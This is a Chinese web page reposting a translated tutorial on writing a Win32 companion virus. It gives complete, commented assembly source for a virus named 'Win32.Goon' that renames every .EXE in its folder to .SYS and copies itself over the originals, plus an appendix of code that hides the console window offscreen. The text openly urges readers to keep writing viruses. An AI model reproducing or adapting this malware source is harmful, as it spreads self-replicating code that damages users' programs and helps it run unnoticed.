首页 电脑 电脑学堂 查看内容

怎么编写简单的Win32伴侣病毒

2006-4-2 02:57 596 0

摘要: 译者的话:1. 因为格式问题,本文需用“写字板”打开才能正常阅读2. 本人只是翻译他人文章,对任何人利用本文造成不良后果不负任何责任!3. 以下,即原文开始: 朋友们好,今天我在29A#6中读到了B...
关键词: nbsp 文件 宿主 病毒 offset 文件名 push 窗体 运行 现在

译者的话:1. 因为格式问题,本文需用“写字板”打开才能正常阅读2. 本人只是翻译他人文章,对任何人利用本文造成不良后果不负任何责任!3. 以下,即原文开始: 朋友们好,今天我在29A#6中读到了Benny写的一篇文章。它题目是“病毒界的现状”。我对此进行了思考,而后我决然写这篇教程!因为我想通过这个教程分享我所有的病毒知识。这个教程并不适于了解了本文所述更多内容更多的朋友,但对于初学者和新手(像我)来说本文有益。是的,希望如此!当我的知识水平更进一步(下一步学习PE)后,我会写下全部所懂与大家分享。现在,教程开始,希望它对你有所帮助并能坚持看完它->你必须坚持! +++++声明+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++你可以引用本文代码,但如果你想....的话,我对你因本文造成的任何破坏不负任何责任!我的母语不是英语,希望你能理解我话的意思.如果有任何建议可写信至 [email protected] ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ......................................................                                                   .. 索引:  _1_  :  什么是伴侣病毒                      ..                                                   ..        _2_  :  伴侣病毒如何工作的                  ..                                                   ..        _3_  :  带注释的病毒例子                    ..                                                   ..        _4_  :  结束语                             ..                                                   ..       _666_ :  附加 [Fuck da Window]              ..                                                   ...................................................... *** _1_ : 什么是伴侣病毒 *** 伴侣病毒不改变宿主程序的代码,也没有添加代码,挂起或者其他任何动作。它仅仅是重命名宿主程序,然后把自己复制为宿主程序原来的文件名.当你运行程序时,病毒会首先运行,当它所有工作完成,才接着运行宿主程序。你可以把宿主和病毒两者的文件名都重命名回原先的文件名,这样宿主程序就能恢复正常。下面给出全过程的原理图。 第一步:    /-------------\                            /-----------\   |             |                           |            |   | Program.EXE | ;目标文件的              | Virus.EXE  | ;我们必须了解病毒文件中的   |             | ;原先文件名              |            | ;API函数: GetCommandLineA   \-------------/                            \-----------/ 第二步:    /-------------\                            /-----------\   |             |                            |           |   | Program.EXE |                            | Virus.EXE |   |             |                            |           |   \-------------/                            \-----------/          |          |       复制为          |          |   /-------------\   |             |   | Program.SYS |   |             |   \-------------/ 第三步:    /-------------\                           /-----------\   |             |                           |           |   | Program.EXE |<---------复制为-----------| Virus.EXE |   |             |                           |           |   \-------------/                           \-----------/ 恢复方法:删除Program.EXE把Program.SYS重命名回Program.EXE 所做就这些了... *** _2_ : 伴侣病毒如何工作的 *** 1. 获取病毒文件的文件名2. 创建宿主文件的原先文件名3. 在当前目录搜索到第一个文件4. 将目标文件复制为另一个文件名5. 把病毒文件复制为目标文件的原先文件名6. 搜索下一个文件->重复4. -->没有其他文件 跳到7.7. 运行宿主程序 (经过了步 2.) 8. 病毒退出 *** _3_ : 带注释的病毒例子 *** 理论够充足了!让我们看它怎么工作... 编译方法:   TASM32 /z /ml /m3 Goon,,;  TLINK32 -Tpe -c Goon,Goon,, import,lib ;-----cut----------------------------------------Goon.asm----------------------------------- .386     ;386指令集.model flat    ;内存平坦模式jumps     ;TASM rulez ;+++++; 你能理解,我想 :);+++++ extrn GetCommandLineA :PROC  ;获取病毒文件和宿主文件extrn lstrcpyA  :PROC  ;复制字符串extrn FindFirstFileA :PROC  ;搜索当前目录第一个匹配的文件extrn FindNextFileA :PROC  ;通过文件句柄搜索下一个文件extrn CopyFileA  :PROC  ;复制文件 (往上看 _2_)extrn CreateProcessA :PROC  ;运行宿主extrn ExitProcess :PROC  ;退出病毒程序 ;+++++; 这里,我们声明必需的API函数; 我想你能理解;+++++ .dataGoon   db 'Win32.Goon - Virus',0   db 'Only a Example Code',0   db 'by  DiA/auXnet',0 FILETIME  STRUCFT_dwLowDateTime dd ?FT_dwHighDateTime dd ?FILETIME  ENDS WIN32_FIND_DATA          label    byte WFD_dwFileAttributes    dd       ? WFD_ftCreationTime      FILETIME ? WFD_ftLastAccessTime    FILETIME ? WFD_ftLastWriteTime     FILETIME ? WFD_nFileSizeHigh       dd       ? WFD_nFileSizeLow        dd       ? WFD_dwReserved0         dd       ? WFD_dwReserved1         dd       ? WFD_szFileName          db       260d dup (?) WFD_szAlternateFileName db       13   dup (?) WFD_szAlternateEnding   db       03   dup (?) ;+++++; 这是 Win32 Find data:; 这里保存关于目标文件的所有数据; 我们仅仅对包含目标文件的名称的"WFD_szFileName"; 记住我们必须复制目标文件成另外一个文件名,; 而把病毒复制成目标文件最先的文件名;+++++ VirusFile  db 260d dup (0)HostFile  db 260d dup (0)HostCopy  db 260d dup (0) ;+++++; 这里创建文件名的空间:病毒文件名,宿主文件名,; 还有我们必须创建的文件名(从目标文件复制);+++++ FileMask  db '*.EXE',0FindHandle  dd 0ProcessInfo  dd 4 dup (0)StartupInfo  dd 4 dup (0) ;+++++; 包含我们必须搜索的文件; FileHandle 包含搜索的文件的句柄 (FindNextFileA); ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要);+++++ .codestart: ;+++++; ROCK 'N ROLL =);+++++ call GetCommandLineA ;+++++; 这里我们获取包含正在运行的程序文件名的CommandLine; (病毒文件 :). 现在,line 在eax了, 看下一步...;+++++ inc eax     ; fuck da "push eaxpush offset VirusFilecall lstrcpyA    ;复制它 ;+++++; 为什么要'inc eax'???; 因为CommandLine类似这样:"C:\LUCI\HELL.EXE" (包含 "); 我们不能运行,复制带有"的程序,所以我们走到前面一个地方; 它从eax复制到VirusFile;+++++ mov esi,offset VirusFile  ;now in esicall GetPoint    ;call a kewl procedure ;) ;+++++; we must find da point to fuck the other "; 让我们看看...;+++++ mov dword ptr [esi+4],00000000d  ;清除它 ;+++++; 我们走到.EXE后面并清除"号; ->现在我们得到完整funcional VirusFile;+++++ push offset VirusFilepush offset HostFilecall lstrcpyA ;+++++; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS); ...;+++++ mov esi,offset HostFilecall GetPoint ;+++++; 得到指针...;+++++ mov dword ptr [esi],5359532Eh  ;5359532Eh = 'SYS.' ;+++++; 把它重命名为 .SYS (last 4 letters with point); 现在我们得到HostFile, 可能运行宿主...; ...但是等等! 我们必须感染文件!!!;+++++ push offset WIN32_FIND_DATApush offset FileMaskcall FindFirstFileAmov dword ptr [FindHandle],eax  ;保存句柄 ;+++++; 如果你不懂WIN32_FIND_DATA and FileMask,请往上看...; Call后Find Handle保存在eax中, FindNextFileA还要用到,我们保存它...;+++++ FindNext:test eax,eax    ;还有文件?jz RunHost    ;如果没有就跳到RunHost ;+++++; 当eax是null,说明当前目录里没有更多的文件可以被感染了; 所有的文件都感染后就运行宿主;+++++ push offset WFD_szFileNamepush offset HostCopycall lstrcpyA ;+++++; 得制 WFD_szFileName 到 HostCopy 来重命名和复制它;+++++ mov esi,offset HostCopycall GetPoint ;+++++; 得到指针来重命名文件名为.SYS; 稍后使用它复制原先的文件为宿主文件;+++++ mov dword ptr [esi],5359532Eh  ; SYS. ;+++++; 把它重命名为 .SYS (last 4 letters); 现在我们做所以工作完成感染目标文件:; 病毒文件名; 原先文件名; 重命名目标文件名; rock 'n roll =);+++++ push 1     ;如果文件已存在就不复制push offset HostCopypush offset WFD_szFileNamecall CopyFileA ;+++++; 现在我们复制.EXE文件为.EXE文件,宿主文件在.sys; 如果文件已经存在,我们就不要复制它,我们不能复制它两次;+++++ push 0     ;无条件复制push offset WFD_szFileNamepush offset VirusFilecall CopyFileA ;+++++; 我们复制病毒为目标.EXE文件; 无条件复制,因为我们不能有两个宿主而没有病毒;+++++ push offset WIN32_FIND_DATApush dword ptr [FindHandle]call FindNextFileAjmp FindNext ;+++++; 你还记得我们保存FindHandle吧...; 我们搜索更多的文件!; 跳到FindNext并检查更多的文件;+++++ RunHost:xor eax,eax    ;nullpush offset ProcessInfo   ;这个,我们不感兴趣push offset StartupInfo   ;...push eaxpush eaxpush 00000010h    ;创建进程push eaxpush eaxpush eaxpush offset HostFilepush offset HostFile   ;运行它call CreateProcessA ;+++++; 记住我们重命名病文件为宿主文件(.SYS), 现在我们通过这个名运行;+++++ push 0call ExitProcess ;+++++; 所有这些做完,我们把控制交给宿主;+++++ GetPoint:cmp byte ptr [esi],'.'   ;point?jz FoundPoint    ;je returninc esi     ;scan next placejmp GetPointFoundPoint:ret     ;return ;+++++; at last the GetPoint procedure...; scan for '.' and if found return to place where are called;+++++ end start ;+++++; 晚安;+++++ ;-----cut----------------------------------------------------------------------------------- *** _4_ : 结束语 *** 嗯,教程完毕。现在你可以写Win32伴侣病毒了。继续写代码,不断学习...读Benny的文章,你想坚持下去;)我们必须帮助病毒界在不久将来重放光芒!!! 向Benny/29A表示致谢- 是你用杰出的文章激发我写下这篇教程 谢谢阅读... *** _666_ : 附加 [Fuck da Window] *** 下面给出一种隐藏病毒的简单方法(你知道...  控制台);-----cut-----FuckW.asm--------------------------------------------------------------------- .386.model flatjumps ;+++++; bla bla bla;+++++ extrn SetConsoleTitleA :PROCextrn FindWindowA :PROCextrn SetWindowPos :PROCextrn Sleep  :PROC ;+++++; needed API's from the FuckWindow procedure;+++++ extrn MessageBoxA :PROCextrn ExitProcess :PROC ;+++++; 这里是其他API; 仅仅是显示它在工作,还有退出;+++++ .dataoTitle   db 'Only to Show...',0oMsg   db 'See you a Window in the Back?',10,13   db 'No, thats good, hee?',10,13   db '              DiA /auXnet',0 ;+++++; 仅仅是摆下姿态 ;);+++++ NewConsoleTitle  db '[ANVX]',0WindowHandle  dd 0 ;+++++; 这里是一个新的控制台标题(任何你想的...); 还有WindowHandle,用来保存句柄;+++++ .codestart: ;+++++; 这是你掌握的...;+++++ call FuckWindow ;+++++; 我们调用这个函数,首先快速隐藏窗体;+++++ push 0push offset oTitlepush offset oMsgpush 0call MessageBoxA push 0call ExitProcess ;+++++; 在这时写下你的代码,任何你想写的...;+++++ FuckWindow:    ;函数push offset NewConsoleTitlecall SetConsoleTitleA ;+++++; 这里是隐藏窗体的函数; 首先我们认定一个新的控制台标题,我们知道窗体必须隐藏;+++++ call Sleep5    ;过程 ;+++++; 短短的休眠(5 mil sek)它能更好地工作;+++++ push offset NewConsoleTitlepush 0call FindWindowAmov dword ptr [WindowHandle],eax ;句柄 ;+++++; 往上看!我们定义一个新的控制台标题...; 现在我们搜索窗体(NewConsoleTitle)并保存 WindowHandle;+++++ call Sleep5 ;+++++; 休眠是很好的...;+++++ push 0push 1     ;窗体高度push 1     ;窗体宽度push 20000    ;Ypush 20000    ;Xpush 0push dword ptr [WindowHandle]call SetWindowPosret ;+++++; 通过SetWindowPos隐藏窗体; 窗体的高和宽是1 (看不到了 :); 还有xy坐标是20000 . 在屏幕外面了 =); 返回...;+++++ Sleep5:push 5call Sleepret ;+++++; 容易, sleep 5mil sek; 返回...;+++++ end start ;-----cut----------------------------------------------------------------------------------- ...编译方法:   TASM32 /z /ml /m3 YourProc,,;   TLINK32 -Tpe -c -aa YourProc,YourProc,, import32.lib 效果-> 现在不是一个"控制台", 它运行在"窗体"下...         完毕。查看TASM说明! 祝你好运...继续写代码...                                     _________________                                      DiA /auXnet (c)02                                     _________________
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部